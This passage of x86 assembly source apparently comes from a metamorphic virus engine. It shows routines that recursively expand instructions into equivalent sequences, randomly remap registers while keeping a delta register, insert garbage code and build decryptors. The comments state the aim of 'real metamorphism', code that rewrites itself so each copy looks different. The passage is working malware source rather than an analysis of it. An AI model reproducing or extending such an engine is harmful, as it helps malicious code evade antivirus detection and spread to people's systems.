;; ---> PUSH Reg + POP Reg2
;;
;; where we select randomly one of the possible expansions.
;;
;; All the expansions are performed recursively, so every instruction involved
;; in an expansion will be expanded also, until we reach a recursivity level
;; specified in the variable [SizeOfExpansion] (from X to 3).
;;
XpandCode proc
mov esi, [ebp+InstructionTable] ; Source of expansion
mov edi, [ebp+ExpansionResult] ; Destiny of expansion
;; Let's get the register translation. We must have present that DeltaReg
;; cannot be EAX, ECX or EDX (due to API calls). Due to the usage of 8
;; bits registers, we saved the used 8 bits register while shrinking code,
;; so we must select that register first from one of the 4 first ones.
mov eax, [ebp+SizeOfExpansion]
mov [ebp+Xp_RecurseLevel], eax ; Set the initial
; recursivity level
mov eax, [ebp+CreatingADecryptor] ; If we are creating
or eax, eax ; a decryptor, keep the
jnz @@KeepRegisterTranslation ; current register translation
mov eax, 8
mov [ebp+Xp_Register0], eax ; Initialize the registers
mov [ebp+Xp_Register1], eax
mov [ebp+Xp_Register2], eax
mov [ebp+Xp_Register3], eax
mov [ebp+Xp_Register5], eax
mov [ebp+Xp_Register6], eax
mov [ebp+Xp_Register7], eax
mov eax, 4
mov [ebp+Xp_Register4], eax ; Set the ESP
@@Other8BitsReg:
call Random
and eax, 7
cmp eax, 3 ; Get a 8 bits register
ja @@Other8BitsReg
mov ebx, [ebp+Register8Bits] ; Get the saved register
call Xpand_SetRegister4Xlation ; Set the translation
@@OtherDeltaReg:
call Random ; Get a register
and eax, 7
cmp eax, 2 ; EAX, ECX or EDX?
jbe @@OtherDeltaReg ; If so, select another
cmp eax, 4 ; ESP?
jz @@OtherDeltaReg ; Then, select another
mov ebx, [ebp+DeltaRegister]
call Xpand_SetRegister4Xlation ; Set the register
or eax, eax
jz @@OtherDeltaReg ; Other if it coincides with Reg8
mov ebx, -1 ; Set EBX = 0 at first
@@NextRegister:
add ebx, 1
cmp ebx, [ebp+DeltaRegister] ; EBX = DeltaRegister?
jz @@NextRegister
cmp ebx, [ebp+Register8Bits] ; EBX = Register8Bits?
jz @@NextRegister
cmp ebx, 4 ; ESP?
jz @@NextRegister
cmp ebx, 8 ; End of loop?
jz @@EndOfRegisters
@@OtherRegister:
call Random ; Get a register
and eax, 7
cmp eax, 4
jz @@OtherRegister
call Xpand_SetRegister4Xlation ; Try to set the register
or eax, eax
jz @@OtherRegister ; If it's set in another one, select
jmp @@NextRegister ; another
@@EndOfRegisters:
mov eax, [ebp+DeltaRegister] ; Get the Delta Register
call Xpand_TranslateRegister ; Translate it
mov [ebp+TranslatedDeltaRegister], eax ; Save it
@@KeepRegisterTranslation:
call Xp_InsertGarbage
call Xp_InsertGarbage
@@Expand: ; mov eax, [esi]
call XpandThisInstruction ; Call to expand the current
add esi, 10h ; instruction
cmp esi, [ebp+AddressOfLastInstruction] ; Is it the last?
jnz @@Expand ; If not, continue
mov [ebp+AddressOfLastInstruction], edi
call Xpand_UpdateLabels ; Update the labels along the
ret ; code and finish
XpandCode endp
;; This function checks if the register passed at EAX exists in any other
;; variable of register translation (i.e. if any other register is translated
;; to that one). If it is, it returns with EAX = 0. If not, sets the number
;; of register in EAX in the register translation variable of the register
;; EBX, and returns with EAX = 1.
Xpand_SetRegister4Xlation proc
cmp eax, [ebp+Xp_Register0] ; Check if the register in
jz @@ReturnError ; EAX is used by other
cmp eax, [ebp+Xp_Register1] ; register to be translated
jz @@ReturnError ; as that one.
cmp eax, [ebp+Xp_Register2]
jz @@ReturnError ; If so, return with EAX = 0
cmp eax, [ebp+Xp_Register3]
jz @@ReturnError
cmp eax, [ebp+Xp_Register5]
jz @@ReturnError
cmp eax, [ebp+Xp_Register6]
jz @@ReturnError
cmp eax, [ebp+Xp_Register7]
jz @@ReturnError
or ebx, ebx ; Jump to the corresponding variable
jz @@SetAt0 ; setting to translate the register in
cmp ebx, 1 ; EBX.
jz @@SetAt1
cmp ebx, 2
jz @@SetAt2
cmp ebx, 3
jz @@SetAt3
cmp ebx, 5
jz @@SetAt5
cmp ebx, 6
jz @@SetAt6
@@SetAt7: mov [ebp+Xp_Register7], eax ; Set for the register EBX
jmp @@ReturnNoError ; the translation in EAX.
@@SetAt0: mov [ebp+Xp_Register0], eax
jmp @@ReturnNoError
@@SetAt1: mov [ebp+Xp_Register1], eax
jmp @@ReturnNoError
@@SetAt2: mov [ebp+Xp_Register2], eax
jmp @@ReturnNoError
@@SetAt3: mov [ebp+Xp_Register3], eax
jmp @@ReturnNoError
@@SetAt5: mov [ebp+Xp_Register5], eax
jmp @@ReturnNoError
@@SetAt6: mov [ebp+Xp_Register6], eax
jmp @@ReturnNoError
@@ReturnError:
xor eax, eax ; Return with FALSE if error
ret
@@ReturnNoError:
mov eax, 1 ; Return with TRUE if all OK
ret
Xpand_SetRegister4Xlation endp
;; This function will translate the register in EAX by the corresponding
;; new register, also in EAX.
Xpand_TranslateRegister proc
or eax, eax ; Jump to the corresponding variable usage.
jz @@Get0
cmp eax, 1
jz @@Get1
cmp eax, 2
jz @@Get2
cmp eax, 3
jz @@Get3
cmp eax, 4
jz @@Return ; Return ESP for ESP (no translation).
cmp eax, 5
jz @@Get5
cmp eax, 6
jz @@Get6
cmp eax, 7
jz @@Get7
mov eax, 8 ; If the register is >= 8, return 8.
ret
@@Get7: mov eax, [ebp+Xp_Register7] ; Get the translation and
ret ; return.
@@Get0: mov eax, [ebp+Xp_Register0]
ret
@@Get1: mov eax, [ebp+Xp_Register1]
ret
@@Get2: mov eax, [ebp+Xp_Register2]
ret
@@Get3: mov eax, [ebp+Xp_Register3]
ret
@@Get5: mov eax, [ebp+Xp_Register5]
ret
@@Get6: mov eax, [ebp+Xp_Register6]
@@Return: ret
Xpand_TranslateRegister endp
;; This function returns the register in reverse translation, it means, the
;; register that the register in EAX is translated to. It's the inversed
;; operation that performs Xpand_TranslateRegister, so if we get a register,
;; we translate it with Xpand_TranslateRegister and we pass the result to
;; this function, we'll get the original register. This function is useful
;; to know which register we must use before the expansion when we want a
;; specific register in the expanded result.
Xpand_ReverseTranslation proc
cmp eax, 4
jz @@Return ; Find the register in the register
cmp eax, [ebp+Xp_Register0] ; translation variables
jz @@Return0
cmp eax, [ebp+Xp_Register1]
jz @@Return1
cmp eax, [ebp+Xp_Register2]
jz @@Return2
cmp eax, [ebp+Xp_Register3]
jz @@Return3
cmp eax, [ebp+Xp_Register5]
jz @@Return5
cmp eax, [ebp+Xp_Register6]
jz @@Return6
cmp eax, [ebp+Xp_Register7]
jz @@Return7
mov eax, 8
@@Return: ret ; When we find it, return the number
@@Return0: xor eax, eax ; of register that uses that variable
ret ; for translating itself.
@@Return1: mov eax, 1
ret
@@Return2: mov eax, 2
ret
@@Return3: mov eax, 3
ret
@@Return5: mov eax, 5
ret
@@Return6: mov eax, 6
ret
@@Return7: mov eax, 7
ret
Xpand_ReverseTranslation endp
;; To make a real metamorphism we have a way of coding every instruction, in
;; both instruction expansion and reassembling. So, we check all the possible
;; pseudo-opcodes and we make a formula for them. The formulas used here must
;; be recognized by the shrinker.
XpandThisInstruction proc
mov eax, [esi+0Bh] ; Get the label
mov [edi+0Bh], eax ; Copy it
mov [edi+0Ch], esi ; Set the new pointers
mov [esi+0Ch], edi
xor eax, eax
mov al, [esi] ; Get the opcode
cmp eax, 4Ch ; Generic 32 bits operation?
ja @@Xpand_Next001 ; If not, jump
xor eax, eax
@@Generic: mov [ebp+Xp_8Bits], eax ; Set the 8 bits flag (0 or 80h)
mov eax, [esi]
and eax, 78h ; Get the operation
mov [ebp+Xp_Operation], eax ; Set it
mov eax, [esi] ; Get the type of operation
and eax, 7
or eax, eax ; OP Reg,Imm?
jz @@OPRegImm
cmp eax, 1 ; OP Reg,Reg?
jz @@OPRegReg
cmp eax, 2 ; OP Reg,Mem?
jz @@OPRegMem
cmp eax, 3 ; OP Mem,Reg?
jz @@OPMemReg
@@OPMemImm: ; OP Mem,Imm
mov eax, [ebp+Xp_8Bits] ; Get the 8 bits flag
or eax, eax ; If 0, jump
jz @@OPMemImm32
mov eax, [esi+7] ; Get the Imm
and eax, 0FFh ; Extend the sign
cmp eax, 7Fh
jbe @@OPMemImmSet
or eax, 0FFFFFF00h
jmp @@OPMemImmSet ; Set the value
@@OPMemImm32:
mov eax, [esi+7] ; Get the normal value if 32 bits
@@OPMemImmSet:
mov [ebp+Xp_Immediate], eax ; Set the immediate
call Xpand_SetMemoryAddress ; Copy the mem. address ref.
; (translating the indexes also)
call Xp_GenOPMemImm ; Generate an OP Mem,Imm
jmp @@Ret
@@OPRegImm:
mov eax, [ebp+Xp_8Bits] ; Extend the sign for 8 bits
or eax, eax ; operations
jz @@OPRegImm32
mov eax, [esi+7]
and eax, 0FFh
cmp eax, 7Fh
jbe @@OPRegImmSet
or eax, 0FFFFFF00h
jmp @@OPRegImmSet
@@OPRegImm32:
mov eax, [esi+7]
@@OPRegImmSet:
mov [ebp+Xp_Immediate], eax ; Set the immediate
mov eax, [esi+1] ; Get the register
and eax, 0FFh
call Xpand_TranslateRegister ; Translate it to the new one
mov [ebp+Xp_Register], eax ; Set it
call Xp_GenOPRegImm ; Generate an OP Reg,Imm
jmp @@Ret
@@OPRegReg:
mov eax, [esi+1] ; Get the source register
and eax, 0FFh
call Xpand_TranslateRegister ; Translate it and set it
mov [ebp+Xp_SrcRegister], eax
mov eax, [esi+7] ; Get the destiny register
and eax, 0FFh
call Xpand_TranslateRegister ; Translate it and set it
mov [ebp+Xp_Register], eax
call Xp_GenOPRegReg ; Generate an OP Reg,Reg
jmp @@Ret
@@OPRegMem:
call Xpand_SetMemoryAddress ; Copy the memory address
mov eax, [esi+7] ; (with indexes translation)
and eax, 0FFh
call Xpand_TranslateRegister ; Translate the destiny reg.
mov [ebp+Xp_Register], eax ; Set it
call Xp_GenOPRegMem ; Generate an OP Reg,Mem
jmp @@Ret
@@OPMemReg:
call Xpand_SetMemoryAddress ; Copy the memory address
mov eax, [esi+7] ; (with indexes translation)
and eax, 0FFh
call Xpand_TranslateRegister ; Translate the source reg.
mov [ebp+Xp_Register], eax
call Xp_GenOPMemReg ; Generate an OP Mem,Reg
jmp @@Ret
@@Xpand_Next001:
cmp eax, 00h+80h ; Get if it's a 8 bits generic
jb @@Xpand_Next002 ; operation
cmp eax, 4Ch+80h
ja @@Xpand_Next002
mov eax, 80h ; If it is, set "8 bits usage"
jmp @@Generic ; (value 80h in [Xp_8Bits]) and
; jump to make the operation
@@Xpand_Next002:
cmp eax, 50h ; PUSH Reg?
jnz @@Xpand_Next003
mov eax, [esi+1] ; Then, translate the register
and eax, 0FFh ; and set it in the
call Xpand_TranslateRegister ; corresponding field
mov [ebp+Xp_Register], eax
call Xp_GenPUSHReg ; Generate a PUSH Reg
jmp @@Ret
@@Xpand_Next003:
cmp eax, 51h ; PUSH Mem?
jnz @@Xpand_Next004
call Xpand_SetMemoryAddress ; Then, set the memory address
xor eax, eax ; (with index translation),
mov [ebp+Xp_8Bits], eax ; clear the "8 bits" flag and
call Xp_GenPUSHMem ; generate the PUSH Mem.
jmp @@Ret
@@Xpand_Next004:
cmp eax, 58h ; POP Reg?
jnz @@Xpand_Next005
mov eax, [esi+1] ; Translate the register, set
and eax, 0FFh ; it into the working field
call Xpand_TranslateRegister ; and generate a POP Reg
mov [ebp+Xp_Register], eax
call Xp_GenPOPReg
jmp @@Ret
@@Xpand_Next005:
cmp eax, 59h ; POP Mem?
jnz @@Xpand_Next006
call Xpand_SetMemoryAddress ; Then, copy the memory address
xor eax, eax ; with index translation, clear
mov [ebp+Xp_8Bits], eax ; the "8 bits" flag and call
call Xp_GenPOPMem ; the function to generate a
jmp @@Ret ; POP Mem.
@@Xpand_Next006:
cmp eax, 68h ; PUSH Imm?
jnz @@Xpand_Next007
mov eax, [esi+7] ; Set the immediate
mov [ebp+Xp_Immediate], eax
call Xp_GenPUSHImm ; Generate a PUSH Imm
jmp @@Ret
@@Xpand_Next007:
cmp eax, 70h ; Jcc?
jb @@Xpand_Next008
cmp eax, 7Fh
ja @@Xpand_Next008
mov [ebp+Xp_Operation], eax ; Set the type of conditional
mov eax, [esi+1] ; jump in the operation field
mov [ebp+Xp_Immediate], eax ; and the label in the
call Xp_GenJcc ; Imm field, and generate it.
jmp @@Ret
@@Xpand_Next008:
cmp eax, 0E0h ; NOT Reg?
jnz @@Xpand_Next009
call Xpand_SetRegister ; Then, translate and set the
call Xp_GenNOTReg ; 32 bits register and generate
jmp @@Ret ; a NOT Reg
@@Xpand_Next009:
cmp eax, 0E1h ; NOT Mem?
jnz @@Xpand_Next010
call Xpand_SetMemoryAddress ; Then, copy and translate the
xor eax, eax ; memory address and indexes,
mov [ebp+Xp_8Bits], eax ; set "32 bits usage" and
call Xp_GenNOTMem ; generate a NOT Mem
jmp @@Ret
@@Xpand_Next010:
cmp eax, 0E2h ; NOT Reg8?
jnz @@Xpand_Next011
call Xpand_Set8BitsRegister ; Then, translate and set the
call Xp_GenNOTReg ; 8 bits register and generate
jmp @@Ret ; a NOT Reg8
@@Xpand_Next011:
cmp eax, 0E3h ; The same as with E1 (NOT Mem)
jnz @@Xpand_Next012 ; but with 8 bits operands.
call Xpand_SetMemoryAddress
mov eax, 80h
mov [ebp+Xp_8Bits], eax
call Xp_GenNOTMem
jmp @@Ret
@@Xpand_Next012:
cmp eax, 0E4h ; NEG Reg?
jnz @@Xpand_Next013
call Xpand_SetRegister ; Then, translate the register,
call Xp_GenNEGReg ; set it and generate the op.
jmp @@Ret
@@Xpand_Next013:
cmp eax, 0E5h ; NEG Mem?
jnz @@Xpand_Next014
call Xpand_SetMemoryAddress ; Copy the address, translate
xor eax, eax ; the indexes, set "32 bits"
mov [ebp+Xp_8Bits], eax ; flag and generate the instrc.
call Xp_GenNEGMem